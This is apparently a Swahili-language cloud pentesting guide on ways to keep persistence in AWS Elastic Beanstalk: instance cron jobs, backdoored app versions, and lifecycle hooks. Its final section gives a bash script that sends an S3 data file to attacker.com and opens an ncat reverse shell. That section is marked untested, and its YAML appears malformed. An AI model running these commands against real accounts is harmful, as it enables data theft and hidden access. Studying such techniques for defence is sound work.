# AWS - Elastic Beanstalk Persistence

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## Elastic Beanstalk

Kwa maelezo zaidi angalia:

{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}

### Persistence in Instance

Ili kudumisha uendelevu ndani ya akaunti ya AWS, **mekanismu ya uendelevu inaweza kuanzishwa ndani ya instance** (kazi ya cron, funguo za ssh...) ili mshambuliaji aweze kuipata na kuiba **credentials za IAM role kutoka huduma ya metadata**.

### Backdoor in Version

Mshambuliaji anaweza kuweka backdoor kwenye msimbo ndani ya repo ya S3 ili kila wakati ifanye kazi yake ya backdoor na msimbo unaotarajiwa.

### New backdoored version

Badala ya kubadilisha msimbo kwenye toleo halisi, mshambuliaji anaweza kupeleka toleo jipya lililo na backdoor la programu.

### Abusing Custom Resource Lifecycle Hooks

> [!NOTE]
> TODO: Test

Elastic Beanstalk inatoa hooks za mzunguko wa maisha ambazo zinakuwezesha kuendesha skripti za kawaida wakati wa upatikanaji na kumaliza instance. Mshambuliaji anaweza **kuweka hook ya mzunguko wa maisha ili mara kwa mara kuendesha skripti inayotoa data au kudumisha ufikiaji wa akaunti ya AWS**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
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